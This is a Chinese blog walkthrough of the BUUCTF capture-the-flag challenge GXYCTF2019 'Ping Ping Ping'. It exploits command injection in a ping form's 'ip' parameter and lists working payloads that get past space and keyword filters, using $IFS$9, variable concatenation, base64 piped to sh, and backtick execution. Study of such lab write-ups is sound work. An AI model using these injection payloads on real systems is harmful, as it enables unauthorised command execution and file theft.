BUUCTF[GXYCTF2019]Ping Ping Ping 1
题目
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/
解题过程
1.尝试ping一下127.0.0.1
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1
2.尝试查看当前目录下的内容
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;ls
3.尝试查看flag.php的文件内容,发现空格和flag都被过滤了。
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php;
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;flag.php;
4.尝试参数替代
1.在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、<> 、%20(space)等 //<>需要写的权限
2.变量拼接字符串 shell可以使用变量来拼接字符串,当做命令来使用,shell类型不一样可能会有些不同。一般用的是bash
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;b=s;$a$b;
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9f$aag.php
5.查看源码
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9index.php
解法
1.变量拼接字符串
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b
2.使用管道符(这里bash被黑名单过滤了,不然也可以使用)
sh是bash的缩减版本,但大多数命令都是一样的,这里的sh本来为bash,但bash被过滤我们就用sh。
|是管道符,意思为把|前的语句执行结果作为|后面的输入数据。Y2F0IGZsYWcucGhw经过base64解码后就是cat
flag.php。base64$IFS$1-d就是base64 -d,-d就是-decode解码。
整句内容:?ip=127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh
=》?ip=127.0.0.1;echo cat flag.php|sh =》?ip=127.0.0.1;cat flag.php
3.使用内联执行
反引号在linux中作为内联执行,内联,就是将反引号内命令的输出作为输入执行
http://def2b6e9-244d-4caa-a92e-b33d5210c7b3.node4.buuoj.cn:81/?ip=127.0.0.1;tac$IFS$9`ls`
补充知识
cat和tac的区别:
-
tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出
-
cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来
__EOF__

本文链接:https://www.cnblogs.com/HBU-xuhaiyang/p/17223176.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~